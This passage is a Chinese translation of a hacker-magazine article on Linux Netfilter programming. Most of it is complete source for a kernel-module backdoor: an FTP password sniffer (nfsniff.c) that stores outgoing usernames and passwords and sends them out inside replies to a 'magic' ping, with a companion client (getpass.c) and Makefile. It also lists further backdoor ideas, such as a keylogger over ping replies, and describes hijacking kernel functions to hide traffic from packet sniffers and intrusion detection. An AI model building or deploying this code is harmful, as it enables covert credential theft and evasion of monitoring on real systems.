如果你已經(jīng)具備必要的技能并且情愿以做試驗(yàn)的名義使你的內(nèi)核崩潰,那么你就可以構(gòu)建簡(jiǎn)單但是有用的,完全位于內(nèi)核中的,可以遠(yuǎn)程訪問的網(wǎng)絡(luò)服務(wù)了?;旧弦粋€(gè)Netfilter hook可以通過(guò)觀察收到的數(shù)據(jù)包來(lái)查找一個(gè)“魔法”數(shù)據(jù)包,并且當(dāng)接收到這個(gè)“魔法”數(shù)據(jù)包時(shí)干指定的事情。結(jié)果可以通過(guò)Netfilter hook來(lái)發(fā)送。并且該hook函數(shù)可以返回NF_STOLEN,以使得收到的“魔法”數(shù)據(jù)包可以走得更遠(yuǎn)。但是要注意,當(dāng)以這種方式來(lái)發(fā)送時(shí),輸出數(shù)據(jù)包對(duì)于輸出Netfilter hook仍然是可見的。因此用戶空間完全不知道這個(gè)“魔法”數(shù)據(jù)包的曾經(jīng)到達(dá),但是它們還是能看到你送所出的。當(dāng)心!因?yàn)樵谛姑苤鳈C(jī)上的嗅探器不能看到這個(gè)包并不意味著在其它中間宿主主機(jī)上的嗅探器也看不到這個(gè)包。
kossak與lifeline曾為Phrack寫了一篇精彩的文章,該文描述了如何通過(guò)注冊(cè)數(shù)據(jù)包類型處理器來(lái)完成這樣的功能。雖然本文涉及的是Netfilter hook,我仍然建議閱讀他們的這篇文章(第55期,文件12),因?yàn)樗且黄o出了一些非常有趣的點(diǎn)子的有趣讀物。
那么,后門Netfilter hook可以干些什么工作呢?以下是一些建議: -- 遠(yuǎn)程訪問擊鍵記錄器(key-logger)。模塊記錄擊鍵,并且當(dāng)遠(yuǎn)程主機(jī)發(fā)送一個(gè)PING請(qǐng)求時(shí),結(jié)果被送到該主機(jī)。這樣,可以生成一個(gè)類似于穩(wěn)定的(非洪水的)PING應(yīng)答流的擊鍵信息的流。當(dāng)然,你可能想要實(shí)現(xiàn)一個(gè)簡(jiǎn)單的加密,這樣,ASCII鍵不會(huì)立即暴露它們自己,并且某些警覺的系統(tǒng)管理員會(huì)想:“堅(jiān)持,我以前都是通過(guò)我的SSH會(huì)話來(lái)鍵入那些的!Oh $%@T%&!”。 -- 各種簡(jiǎn)單的管理員任務(wù),例如獲取當(dāng)前登錄到主機(jī)的用戶的列表或責(zé)獲取打開的網(wǎng)絡(luò)連接的信息。 -- 并非一個(gè)真正的后門,而是位于網(wǎng)絡(luò)邊界的模塊,并且阻擋任何被疑為來(lái)自特洛伊木馬、ICMP隱蔽通道或者像KaZaa這樣的文件共享工具的通信。 -- 文件傳輸“服務(wù)器”。我最近已經(jīng)實(shí)現(xiàn)了這個(gè)主意,由此引起的Linux核心編程是數(shù)小時(shí)的樂趣:) -- 數(shù)據(jù)包跳躍。重定向目的為木馬主機(jī)指定端口的數(shù)據(jù)包到其它的IP主機(jī)和端口,并且從那臺(tái)主機(jī)發(fā)回?cái)?shù)據(jù)包到發(fā)起者。沒有進(jìn)程被派生,并且最妙的是,沒有網(wǎng)絡(luò)套接字被打開。 -- 上面描述的數(shù)據(jù)包跳躍用于與網(wǎng)絡(luò)中的關(guān)鍵系統(tǒng)以半隱蔽方式通信。例如:配置路由器等。 -- FTP/POP3/Telnet密碼嗅探器。嗅探輸出的密碼并保存相關(guān)信息,直到進(jìn)入的“魔法”數(shù)據(jù)包要求獲取它們。
以上只是一些想法的簡(jiǎn)短的列表,其中最后一個(gè)想法是我們?cè)诮酉聛?lái)的一節(jié)中將要真正詳細(xì)討論的。它 提供了一個(gè)很好的了解更多的深藏于核心網(wǎng)絡(luò)代碼中的函數(shù)的機(jī)會(huì)。 ----[ 5.2 - 基于內(nèi)核的FTP密碼嗅探器 在這里展現(xiàn)的是一個(gè)簡(jiǎn)單的,原理性的,用做Netfilter后門的模塊。該模塊嗅探輸出的FTP數(shù)據(jù)包,查找對(duì)于一個(gè)FTP服務(wù)器一個(gè)USER于PASS命令對(duì)。當(dāng)這樣一個(gè)命令對(duì)被發(fā)現(xiàn)后,該模塊接下來(lái)將等待一個(gè)“魔法”ICMP ECHO(ping)數(shù)據(jù)包,該數(shù)據(jù)包應(yīng)當(dāng)足夠大,使其能返回服務(wù)器的IP地址、用戶名以及密碼。同時(shí)提供了一個(gè)快速的發(fā)送一個(gè)“魔法”數(shù)據(jù)包,獲取返回然后打印返回信息的技巧。一旦用戶名/密碼對(duì)從模塊讀取后,模塊將接著查找下一對(duì)。注意,模塊每次只保存一個(gè)對(duì)。以上是簡(jiǎn)要的瀏覽,是該展示更多的細(xì)節(jié),來(lái)看模塊如何做到這些的時(shí)候了。
當(dāng)模塊加載時(shí),模塊的init_module()函數(shù)簡(jiǎn)單的注冊(cè)了兩個(gè)Netfilter hook。第一個(gè)用于查看輸入的數(shù)據(jù)包(在NF_IP_PRE_ROUTING處),嘗試發(fā)現(xiàn)“魔法”ICMP數(shù)據(jù)包。接下來(lái)的一個(gè)用于查看離開該模塊被安裝的主機(jī)的數(shù)據(jù)包(在NF_IP_POST_ROUTING處),這個(gè)函數(shù)正是搜索和捕獲FTP的USER和PASS數(shù)據(jù)包的地方。cleanup_module()函數(shù)只是簡(jiǎn)單的注銷這兩個(gè)hook。
watch_out()是用于hook NF_IP_POST_ROUTING的函數(shù),查看這個(gè)函數(shù)你可以看到,它的執(zhí)行的操作非常簡(jiǎn)單。當(dāng)一個(gè)數(shù)據(jù)包進(jìn)入這個(gè)函數(shù)過(guò)后,將經(jīng)過(guò)各種檢查,以確定它是一個(gè)FTP數(shù)據(jù)包。如果它不是一個(gè)FTP數(shù)據(jù)包,那么立即返回NF_ACCEPT。如果它是一個(gè)FTP數(shù)據(jù)包,那么該模塊進(jìn)行檢查是否已經(jīng)存在一個(gè)用戶名/密碼對(duì)。如果存在(以have_pair的非零值標(biāo)識(shí)),那么返回NF_ACCEPT,該數(shù)據(jù)包最終能夠離開該系統(tǒng)。否則,check_ftp()函數(shù)被調(diào)用,這是密碼提取實(shí)際發(fā)生的地方。如果沒有先前的數(shù)據(jù)包已經(jīng)被接收,那么target_ip和target_port變量應(yīng)當(dāng)被清除。
check_ftp()開始于從數(shù)據(jù)包的開始查找"USER","PASS"或"QUIT"。注意直到USER命令處理之后才處理PASS命令。這樣做的目的是為了防止在某些情況下PASS命令先于USER命令被接收到以及在USER到達(dá)之前連接中斷而導(dǎo)致的死鎖的發(fā)生。同樣,如果QUIT命令到達(dá)時(shí)僅有用戶名被捕獲,那么將重置操作,開始嗅探一個(gè)新的連接。當(dāng)一個(gè)USER或者PASS命令到達(dá)時(shí),如果必要完整性校驗(yàn)通過(guò),則記錄下命令的參數(shù)。正常運(yùn)行下,在check_ftp()函數(shù)完成之前,檢查是否已經(jīng)有了一個(gè)有效的用戶名和密碼串。如果是,則設(shè)置have_pair的值為非零并且在當(dāng)前的用戶名/密碼對(duì)被獲取之前不會(huì)再抓取其它的用戶名或密碼。
到目前為止你已經(jīng)看到了該模塊如何安裝它自己以及如何開始搜尋待記錄的用戶名和密碼。接下來(lái)你將看到當(dāng)指定的“魔法”數(shù)據(jù)包到達(dá)時(shí)會(huì)發(fā)生什么。在此需特別注意,因?yàn)檫@是在整個(gè)開發(fā)過(guò)程中出現(xiàn)的最大難題。如果我沒記錯(cuò)的話,共遭遇了16個(gè)核心錯(cuò)誤:)。當(dāng)數(shù)據(jù)包進(jìn)安裝該模塊的主機(jī)時(shí),watch_in()檢查每一個(gè)數(shù)據(jù)包以查看其是否是一個(gè)“魔法”數(shù)據(jù)包。如果數(shù)據(jù)包不能提供足以證明它是一個(gè)“魔法”數(shù)據(jù)包的信息,那么它將被被watch_in()忽略,簡(jiǎn)單的返回一個(gè)NF_ACCEPT。注意“魔法”數(shù)據(jù)包的標(biāo)準(zhǔn)之一是它們必須有足夠的空間來(lái)存放IP地址以及用戶名和密碼串。這使得發(fā)送應(yīng)答更加容易。當(dāng)然,可以重新分配一個(gè)新的sk_buff,但是正確的獲取所有必要的域得值可能會(huì)比較困難,并且你還必須得正確的獲取它們!因此,與其為我們的應(yīng)答數(shù)據(jù)包創(chuàng)建一個(gè)新的數(shù)據(jù)結(jié)構(gòu),不如簡(jiǎn)單的調(diào)整請(qǐng)求數(shù)據(jù)包的數(shù)據(jù)結(jié)構(gòu)。為了成功的返回?cái)?shù)據(jù)包,需要做幾個(gè)改動(dòng)。首先,交換IP地址,并且sk_buff數(shù)據(jù)結(jié)構(gòu)中描述數(shù)據(jù)包類型的域(pkt_type)應(yīng)當(dāng)被換成PACKET_OUTGOING,這些宏在linux/if_packet.h中定義。接下來(lái)應(yīng)當(dāng)小心的是確定包含了任意的鏈路層頭。我們接收到的數(shù)據(jù)包的sk_buff數(shù)據(jù)結(jié)構(gòu)的數(shù)據(jù)域指向鏈路層頭之后,并且它是指向被發(fā)送的數(shù)據(jù)包的數(shù)據(jù)的開始的數(shù)據(jù)域。那么對(duì)于需要鏈路層包頭(以太網(wǎng)及環(huán)回和點(diǎn)對(duì)點(diǎn)的raw)的接口,我們將數(shù)據(jù)域指向mac.ethernet或者mac.raw結(jié)構(gòu)。為確定這個(gè)數(shù)據(jù)包來(lái)自的什么類型的接口你可以查看sb->dev->type的值,其中sb是一個(gè)指向sk_buff數(shù)據(jù)結(jié)構(gòu)的指針。這個(gè)域的有效值可以在linux/if_arp.h中找到,但其中最有用的幾個(gè)在下面的表3中列出。
表3 : 接口類型的常用值 類型代碼 接口類型 ARPHRD_ETHER 以太網(wǎng) ARPHRD_LOOPBACK 環(huán)回設(shè)備 ARPHRD_PPP 點(diǎn)對(duì)點(diǎn)(例如撥號(hào)) 最后,我們要做的是真正的復(fù)制我們想在的應(yīng)答中送出的數(shù)據(jù)。到送出數(shù)據(jù)包的時(shí)候了,dev_queue_xmit()函數(shù)以一個(gè)指向sk_buff數(shù)據(jù)結(jié)構(gòu)的指針作為它唯一的參數(shù),在“好的錯(cuò)誤”情況下,返回一個(gè)負(fù)的錯(cuò)誤代碼。我所說(shuō)的“好的錯(cuò)誤”是什么意思呢?如果你給函數(shù)dev_queue_xmit()一個(gè)錯(cuò)誤構(gòu)造的套接字緩沖,那么你就會(huì)得到一個(gè)伴隨著內(nèi)核錯(cuò)誤和內(nèi)核堆棧的dump信息的“不太好的錯(cuò)誤”。看看在這里錯(cuò)誤如何能被分成兩組?最后,watch_in()返回NF_STOLEN,以告訴Netfilter忘掉它曾經(jīng)見到過(guò)這個(gè)數(shù)據(jù)包。如果你已經(jīng)調(diào)用了dev_queue_xmit(),不要返回NF_DROP!這是因?yàn)閐ev_queue_xmit()將釋放傳遞進(jìn)來(lái)的套接字緩沖,而Netfilter會(huì)嘗試對(duì)被NF_DROP的數(shù)據(jù)包做同樣的操作。好了。對(duì)于代碼的討論已經(jīng)足夠了,請(qǐng)看具體的代碼。
------[ 5.2.1 - 源代碼 : nfsniff.c <++> nfsniff/nfsniff.c /* Simple proof-of-concept for kernel-based FTP password sniffer. * A captured Username and Password pair are sent to a remote host * when that host sends a specially formatted ICMP packet. Here we * shall use an ICMP_ECHO packet whose code field is set to 0x5B * *AND* the packet has enough * space after the headers to fit a 4-byte IP address and the * username and password fields which are a max. of 15 characters * each plus a NULL byte. So a total ICMP payload size of 36 bytes. */ /* Written by bioforge, March 2003 */ #define MODULE #define __KERNEL__ #include <linux/module.h> #include <linux/kernel.h> #include <linux/skbuff.h> #include <linux/in.h> #include <linux/ip.h> #include <linux/tcp.h> #include <linux/icmp.h> #include <linux/netdevice.h> #include <linux/netfilter.h> #include <linux/netfilter_ipv4.h> #include <linux/if_arp.h> #include <linux/if_ether.h> #include <linux/if_packet.h> #define MAGIC_CODE 0x5B #define REPLY_SIZE 36 #define ICMP_PAYLOAD_SIZE (htons(sb->nh.iph->tot_len) \ - sizeof(struct iphdr) \ - sizeof(struct icmphdr)) /* THESE values are used to keep the USERname and PASSword until * they are queried. Only one USER/PASS pair will be held at one * time and will be cleared once queried. */ static char *username = NULL; static char *password = NULL; static int have_pair = 0; /* Marks if we already have a pair */ /* Tracking information. Only log USER and PASS commands that go to the * same IP address and TCP port. */ static unsigned int target_ip = 0; static unsigned short target_port = 0; /* Used to describe our Netfilter hooks */ struct nf_hook_ops pre_hook; /* Incoming */ struct nf_hook_ops post_hook; /* Outgoing */ /* Function that looks at an sk_buff that is known to be an FTP packet. * Looks for the USER and PASS fields and makes sure they both come from * the one host as indicated in the target_xxx fields */ static void check_ftp(struct sk_buff *skb) { struct tcphdr *tcp; char *data; int len = 0; int i = 0;
tcp = (struct tcphdr *)(skb->data + (skb->nh.iph->ihl * 4)); data = (char *)((int)tcp + (int)(tcp->doff * 4)); /* Now, if we have a username already, then we have a target_ip. * Make sure that this packet is destined for the same host. */ if (username) if (skb->nh.iph->daddr != target_ip || tcp->source != target_port) return;
/* Now try to see if this is a USER or PASS packet */ if (strncmp(data, "USER ", 5) == 0) { /* Username */ data += 5;
if (username) return;
while (*(data + i) != '\r' && *(data + i) != '\n' && *(data + i) != '\0' && i < 15) { len++; i++; }
if ((username = kmalloc(len + 2, GFP_KERNEL)) == NULL) return; memset(username, 0x00, len + 2); memcpy(username, data, len); *(username + len) = '\0'; /* NULL terminate */ } else if (strncmp(data, "PASS ", 5) == 0) { /* Password */ data += 5; /* If a username hasn't been logged yet then don't try logging * a password */ if (username == NULL) return; if (password) return;
while (*(data + i) != '\r' && *(data + i) != '\n' && *(data + i) != '\0' && i < 15) { len++; i++; } if ((password = kmalloc(len + 2, GFP_KERNEL)) == NULL) return; memset(password, 0x00, len + 2); memcpy(password, data, len); *(password + len) = '\0'; /* NULL terminate */ } else if (strncmp(data, "QUIT", 4) == 0) { /* Quit command received. If we have a username but no password, * clear the username and reset everything */ if (have_pair) return; if (username && !password) { kfree(username); username = NULL; target_port = target_ip = 0; have_pair = 0;
return; } } else { return; } if (!target_ip) target_ip = skb->nh.iph->daddr; if (!target_port) target_port = tcp->source; if (username && password) have_pair++; /* Have a pair. Ignore others until * this pair has been read. */ // if (have_pair) // printk("Have password pair! U: %s P: %s\n", username, password); } /* Function called as the POST_ROUTING (last) hook. It will check for * FTP traffic then search that traffic for USER and PASS commands. */ static unsigned int watch_out(unsigned int hooknum, struct sk_buff **skb, const struct net_device *in, const struct net_device *out, int (*okfn)(struct sk_buff *)) { struct sk_buff *sb = *skb; struct tcphdr *tcp;
/* Make sure this is a TCP packet first */ if (sb->nh.iph->protocol != IPPROTO_TCP) return NF_ACCEPT; /* Nope, not TCP */
tcp = (struct tcphdr *)((sb->data) + (sb->nh.iph->ihl * 4));
/* Now check to see if it's an FTP packet */ if (tcp->dest != htons(21)) return NF_ACCEPT; /* Nope, not FTP */
/* Parse the FTP packet for relevant information if we don't already * have a username and password pair. */ if (!have_pair) check_ftp(sb);
/* We are finished with the packet, let it go on its way */ return NF_ACCEPT; } /* Procedure that watches incoming ICMP traffic for the "Magic" packet. * When that is received, we tweak the skb structure to send a reply * back to the requesting host and tell Netfilter that we stole the * packet. */ static unsigned int watch_in(unsigned int hooknum, struct sk_buff **skb, const struct net_device *in, const struct net_device *out, int (*okfn)(struct sk_buff *)) { struct sk_buff *sb = *skb; struct icmphdr *icmp; char *cp_data; /* Where we copy data to in reply */ unsigned int taddr; /* Temporary IP holder */ /* Do we even have a username/password pair to report yet? */ if (!have_pair) return NF_ACCEPT;
/* Is this an ICMP packet? */ if (sb->nh.iph->protocol != IPPROTO_ICMP) return NF_ACCEPT;
icmp = (struct icmphdr *)(sb->data + sb->nh.iph->ihl * 4); /* Is it the MAGIC packet? */ if (icmp->code != MAGIC_CODE || icmp->type != ICMP_ECHO || ICMP_PAYLOAD_SIZE < REPLY_SIZE) { return NF_ACCEPT; }
/* Okay, matches our checks for "Magicness", now we fiddle with * the sk_buff to insert the IP address, and username/password pair, * swap IP source and destination addresses and ethernet addresses * if necessary and then transmit the packet from here and tell * Netfilter we stole it. Phew... */ taddr = sb->nh.iph->saddr; sb->nh.iph->saddr = sb->nh.iph->daddr; sb->nh.iph->daddr = taddr; sb->pkt_type = PACKET_OUTGOING; switch (sb->dev->type) { case ARPHRD_PPP: /* No fiddling needs doing */ break; case ARPHRD_LOOPBACK: case ARPHRD_ETHER: { unsigned char t_hwaddr[ETH_ALEN];
/* Move the data pointer to point to the link layer header */ sb->data = (unsigned char *)sb->mac.ethernet; sb->len += ETH_HLEN; //sizeof(sb->mac.ethernet); memcpy(t_hwaddr, (sb->mac.ethernet->h_dest), ETH_ALEN); memcpy((sb->mac.ethernet->h_dest), (sb->mac.ethernet->h_source), ETH_ALEN); memcpy((sb->mac.ethernet->h_source), t_hwaddr, ETH_ALEN);
break; } }; /* Now copy the IP address, then Username, then password into packet */ cp_data = (char *)((char *)icmp + sizeof(struct icmphdr)); memcpy(cp_data, &target_ip, 4); if (username) memcpy(cp_data + 4, username, 16); if (password) memcpy(cp_data + 20, password, 16);
/* This is where things will die if they are going to. * Fingers crossed... */ dev_queue_xmit(sb); /* Now free the saved username and password and reset have_pair */ kfree(username); kfree(password); username = password = NULL; have_pair = 0;
target_port = target_ip = 0; // printk("Password retrieved\n");
return NF_STOLEN; } int init_module() { pre_hook.hook = watch_in; pre_hook.pf = PF_INET; pre_hook.priority = NF_IP_PRI_FIRST; pre_hook.hooknum = NF_IP_PRE_ROUTING;
post_hook.hook = watch_out; post_hook.pf = PF_INET; post_hook.priority = NF_IP_PRI_FIRST; post_hook.hooknum = NF_IP_POST_ROUTING;
nf_register_hook(&pre_hook); nf_register_hook(&post_hook);
return 0; } void cleanup_module() { nf_unregister_hook(&post_hook); nf_unregister_hook(&pre_hook);
if (password) kfree(password); if (username) kfree(username); } <--> ------[ 5.2.2 - 源代碼 : getpass.c <++> nfsniff/getpass.c /* getpass.c - simple utility to get username/password pair from * the Netfilter backdoor FTP sniffer. Very kludgy, but effective. * Mostly stripped from my source for InfoPig. * * Written by bioforge - March 2003 */ #include <sys/types.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <errno.h> #include <sys/socket.h> #include <netdb.h> #include <arpa/inet.h> #ifndef __USE_BSD # define __USE_BSD /* We want the proper headers */ #endif # include <netinet/ip.h> #include <netinet/ip_icmp.h> /* Function prototypes */ static unsigned short checksum(int numwords, unsigned short *buff); int main(int argc, char *argv[]) { unsigned char dgram[256]; /* Plenty for a PING datagram */ unsigned char recvbuff[256]; struct ip *iphead = (struct ip *)dgram; struct icmp *icmphead = (struct icmp *)(dgram + sizeof(struct ip)); struct sockaddr_in src; struct sockaddr_in addr; struct in_addr my_addr; struct in_addr serv_addr; socklen_t src_addr_size = sizeof(struct sockaddr_in); int icmp_sock = 0; int one = 1; int *ptr_one = &one;
if (argc < 3) { fprintf(stderr, "Usage: %s remoteIP myIP\n", argv[0]); exit(1); } /* Get a socket */ if ((icmp_sock = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP)) < 0) { fprintf(stderr, "Couldn't open raw socket! %s\n", strerror(errno)); exit(1); } /* set the HDR_INCL option on the socket */ if(setsockopt(icmp_sock, IPPROTO_IP, IP_HDRINCL, ptr_one, sizeof(one)) < 0) { close(icmp_sock); fprintf(stderr, "Couldn't set HDRINCL option! %s\n", strerror(errno)); exit(1); }
addr.sin_family = AF_INET; addr.sin_addr.s_addr = inet_addr(argv[1]);
my_addr.s_addr = inet_addr(argv[2]);
memset(dgram, 0x00, 256); memset(recvbuff, 0x00, 256);
/* Fill in the IP fields first */ iphead->ip_hl = 5; iphead->ip_v = 4; iphead->ip_tos = 0; iphead->ip_len = 84; iphead->ip_id = (unsigned short)rand(); iphead->ip_off = 0; iphead->ip_ttl = 128; iphead->ip_p = IPPROTO_ICMP; iphead->ip_sum = 0; iphead->ip_src = my_addr; iphead->ip_dst = addr.sin_addr;
/* Now fill in the ICMP fields */ icmphead->icmp_type = ICMP_ECHO; icmphead->icmp_code = 0x5B; icmphead->icmp_cksum = checksum(42, (unsigned short *)icmphead);
/* Finally, send the packet */ fprintf(stdout, "Sending request...\n"); if (sendto(icmp_sock, dgram, 84, 0, (struct sockaddr *)&addr, sizeof(struct sockaddr)) < 0) { fprintf(stderr, "\nFailed sending request! %s\n", strerror(errno)); return 0; } fprintf(stdout, "Waiting for reply...\n"); if (recvfrom(icmp_sock, recvbuff, 256, 0, (struct sockaddr *)&src, &src_addr_size) < 0) { fprintf(stdout, "Failed getting reply packet! %s\n", strerror(errno)); close(icmp_sock); exit(1); }
iphead = (struct ip *)recvbuff; icmphead = (struct icmp *)(recvbuff + sizeof(struct ip)); memcpy(&serv_addr, ((char *)icmphead + 8), sizeof (struct in_addr));
fprintf(stdout, "Stolen for ftp server %s:\n", inet_ntoa(serv_addr)); fprintf(stdout, "Username: %s\n", (char *)((char *)icmphead + 12)); fprintf(stdout, "Password: %s\n", (char *)((char *)icmphead + 28));
close(icmp_sock);
return 0; } /* Checksum-generation function. It appears that PING'ed machines don't * reply to PINGs with invalid (ie. empty) ICMP Checksum fields... * Fair enough I guess. */ static unsigned short checksum(int numwords, unsigned short *buff) { unsigned long sum;
for(sum = 0;numwords > 0;numwords--) sum += *buff++; /* add next word, then increment pointer */
sum = (sum >> 16) + (sum & 0xFFFF); sum += (sum >> 16);
return ~sum; } <--> ** 譯注:上述兩個(gè)文件的Makefile: <++> nfsniff/Makefile #Makefile #
CFLAGS=-Wall LIBS=-L/usr/lib -lc # Change include directory for your kernel MODULE_CFLAGS=-I/usr/src/custom/linux-2.4.18-3/include MODULE_CFLAGS+=$(CFLAGS) EXECUTE_CFLAGS=-ggdb EXECUTE_CFLAGS+=$(CFLAGS)
all : nfsniff.o getpass nfsniff.o : nfsniff.c gcc -c nfsniff.c -o nfsniff~.o $(MODULE_CFLAGS) ld -r -o nfsniff.o nfsniff~.o $(LIBS) getpass.o : getpass.c gcc -c getpass.c $(EXECUTE_CFLAGS) getpass : getpass.o gcc -o getpass getpass.o $(EXECUTE_CFLAGS) clean : rm -f *.o getpass <--> **譯注完
--[ 6 - 在Libpcap中隱藏網(wǎng)絡(luò)通信 這一節(jié)簡(jiǎn)短的描述,如何在修改Linux的內(nèi)核,使與匹配預(yù)先定義的條件的網(wǎng)絡(luò)通信對(duì)運(yùn)行于本機(jī)的數(shù)據(jù)包嗅探工具不可見。列在本文最后的是可以正常運(yùn)行的代碼,它實(shí)現(xiàn)了隱藏所有來(lái)自或者是去往指定的IP地址的數(shù)據(jù)包的功能。好了,讓我們開始...
----[ 6.1 - SOCK_PACKET、SOCK_RAW與Libpcap 對(duì)系統(tǒng)管理員來(lái)說(shuō),最有用的軟件莫過(guò)于哪些在廣義分類下被稱為“數(shù)據(jù)包嗅探器”的軟件了。兩個(gè)最典型的通用數(shù)據(jù)包嗅探器是tcpdump(1)以及ethereal(1)。這兩個(gè)軟件都利用了Libpcap庫(kù)(隨著參考文獻(xiàn)[1]中的tcpdump發(fā)布)來(lái)抓取原始數(shù)據(jù)包。網(wǎng)絡(luò)入侵檢測(cè)系統(tǒng)(NIDS)也利用了Libpcap庫(kù)。SNORT需要Libpcap,Libnids——一個(gè)提供IP重組和TCP流跟蹤的NIDS開發(fā)庫(kù)(參見參考文獻(xiàn)[2]),也是如此。
在Linux系統(tǒng)下,Libpcap庫(kù)使用SOCK_PACKET接口。Packet套接字是一種特殊的套接字,它可以用于發(fā)生和接收鏈路層的原始數(shù)據(jù)包。關(guān)于Paket套接字有很多話題,但是由于本節(jié)討論的是關(guān)于如何隱藏它們而不是如何利用它們,感興趣的讀者可以直接去看packet(7)手冊(cè)頁(yè)。對(duì)于本文中的討論,只需要理解packet套接字被Libpcap應(yīng)用程序用于獲取進(jìn)入或者離開本地主機(jī)的原始數(shù)據(jù)包。
當(dāng)核心網(wǎng)絡(luò)堆棧收到一個(gè)數(shù)據(jù)包的時(shí)候,檢查該數(shù)據(jù)包是否是某個(gè)packet套接字感興趣的數(shù)據(jù)包。如果是,則將該數(shù)據(jù)遞交給那些對(duì)其感興趣的套接字。如果不是,該數(shù)據(jù)包繼續(xù)它的旅程,進(jìn)入TCP、UDP或者其它類型的套接字。對(duì)于SOCK_RAW類型的套接字同樣如此。原始套接字很類似于packet套接字,只是原始套接字不提供鏈路層的包頭。一個(gè)利用原始套接字的實(shí)用程序的例子是我的SYNalert程序,參見參考文獻(xiàn)[3](請(qǐng)?jiān)徫以谶@兒插入的題外話 :)。
到此,你應(yīng)該已經(jīng)了解了Linux下的數(shù)據(jù)包嗅探軟件使用了Libpcap庫(kù)。Libpcap在Linux下利用packet套接字接口來(lái)獲取包含鏈路層包頭的原始數(shù)據(jù)包。同時(shí)提到了原始套接字,它提供給用戶空間的應(yīng)用程序獲取包含IP頭的數(shù)據(jù)包的方法。下一節(jié)將討論如何通過(guò)Linux核心模塊來(lái)隱藏來(lái)自這些packet套接字以及原始套接字的網(wǎng)絡(luò)通信。
------[ 6.2 給狼披上羊皮 當(dāng)收到數(shù)據(jù)包并將其送到一個(gè)packet套接字時(shí),packet_rcv()函數(shù)被調(diào)用。這個(gè)函數(shù)可以在net/packet/af_packet.c中找到,packet_rcv()負(fù)責(zé)使數(shù)據(jù)包經(jīng)過(guò)所有應(yīng)用于目的套接字的套接字過(guò)濾器,并最終將其遞交到用戶空間。為了隱藏來(lái)自packet套接字的數(shù)據(jù)包,我們需要阻止所有特定數(shù)據(jù)包調(diào)用packet_rcv()函數(shù)。我們?nèi)绾巫龅竭@一點(diǎn)?當(dāng)然是優(yōu)秀的ol式的函數(shù)劫持了。
函數(shù)劫持的基本操作是:如果我們知道一個(gè)內(nèi)核函數(shù),甚至是那些沒有被導(dǎo)出的函數(shù),的入口地址,我們可以在使實(shí)際的代碼運(yùn)行前將這個(gè)函數(shù)重定位到其他的位置。為了達(dá)到這樣的目的,我們首先要從這個(gè)函數(shù)的開始,保存其原來(lái)的指令字節(jié),然后將它們換成跳轉(zhuǎn)到我們的代碼處執(zhí)行的絕對(duì)跳轉(zhuǎn)指令。例如以i386匯編語(yǔ)言實(shí)現(xiàn)該操作如下:
movl (address of our function), %eax jmp *eax 這些指令的16進(jìn)制代碼如下(假設(shè)我們的函數(shù)地址為0):
0xb8 0x00 0x00 0x00 0x00 0xff 0xe0 如果我們?cè)贚inux核心模塊的初始化時(shí)將上例中的函數(shù)地址替換為我們的hook函數(shù)的地址,我們就能夠使我們的hook函數(shù)先運(yùn)行。當(dāng)我們想運(yùn)行原來(lái)的函數(shù)時(shí),我們只需要在開始時(shí)恢復(fù)函數(shù)原來(lái)的指令,調(diào)用該函數(shù)并且替換我們的劫持代碼。簡(jiǎn)單而有效。Silvio Cesare 不久前寫過(guò)一篇文章,講述如何實(shí)現(xiàn)內(nèi)核函數(shù)劫持,參見參考文獻(xiàn)[4]。
要從packet套接字隱藏?cái)?shù)據(jù)包,我們首先要寫一個(gè)hook函數(shù),用于檢查數(shù)據(jù)包是否滿足我們隱藏的標(biāo)準(zhǔn)。如果滿足,那么我們的hook函數(shù)簡(jiǎn)單的向它的調(diào)用函數(shù)返回0,packet_rcv()永遠(yuǎn)不會(huì)被調(diào)用。如果packet_rcv()永遠(yuǎn)不被調(diào)用,那么這個(gè)數(shù)據(jù)包也永遠(yuǎn)都不會(huì)遞交給用戶空間的packet套接字。注意,只是對(duì)于"packet"套接字來(lái)說(shuō),該數(shù)據(jù)包被丟棄了。如果我們要過(guò)濾送到packet套接字的FTP數(shù)據(jù)包,那么FTP服務(wù)器的TCP套接字仍然能收到這些數(shù)據(jù)包。我們所做的一切只是使運(yùn)行在本機(jī)上的嗅探軟件無(wú)法看到這些數(shù)據(jù)包。FTP服務(wù)器仍然能夠處理和記錄連接。
理論上就是這么多,關(guān)于原始套接字的用法同理可得。不同的是我們需要hook的是raw_rcv()函數(shù)(在net/ipv4/raw.c中可以找到)。下一節(jié)將給出并討論一個(gè)Linux核心模塊的示例代碼,該代碼劫持packet_rcv()函數(shù)和raw_rcv()函數(shù),隱藏任何來(lái)自或去往我們指定的IP地址的數(shù)據(jù)包。
--[ 7 - 結(jié)束語(yǔ) 希望你現(xiàn)在至少對(duì)Netfilter有了一個(gè)初步的了解,如何使用它以及你能用它來(lái)做什么。你同樣也應(yīng)當(dāng)有了一些使特定的網(wǎng)絡(luò)通信從運(yùn)行在本機(jī)的嗅探軟件中隱藏的知識(shí)了。如果你需要本文中涉及的源代碼的tar包,請(qǐng)直接給我發(fā)email。我同樣很樂意接收任何的指正、批評(píng)或者建議。好了,把一切都留給你和你的想象力,來(lái)做一些我在這兒展現(xiàn)的有趣的事吧!
--[ A - 輕量級(jí)防火墻 ----[ A.1 - 概述 輕量級(jí)防火墻(LWFW)是一個(gè)簡(jiǎn)單的內(nèi)核模塊,用于演示我們?cè)诘?節(jié)中涉及的基本的數(shù)據(jù)包過(guò)錄技術(shù)。LWFW也通過(guò)ioctl()系統(tǒng)調(diào)用提供了一個(gè)控制接口。
由于LWFW的源代碼已經(jīng)有足夠的文檔了,我在這兒只給出它如何工作的簡(jiǎn)單概述。當(dāng)LWFW模塊被加載后,它的第一個(gè)任務(wù)就是嘗試注冊(cè)控制設(shè)置。注意在LWFW的ioctl()控制接口可用之前,需要在/dev下創(chuàng)建一個(gè)字符設(shè)備文件。如果控制設(shè)備注冊(cè)成功,"in use"標(biāo)志被清除并且對(duì)NF_IP_PRE_ROUTE進(jìn)行hook的函數(shù)被注冊(cè)。清除函數(shù)執(zhí)行相反的操作。
LWFW對(duì)數(shù)據(jù)包丟棄提供三個(gè)基本的選項(xiàng)。按照處理的順序列出如下: -- 源接口 -- 源IP地址 -- 目的TCP端口
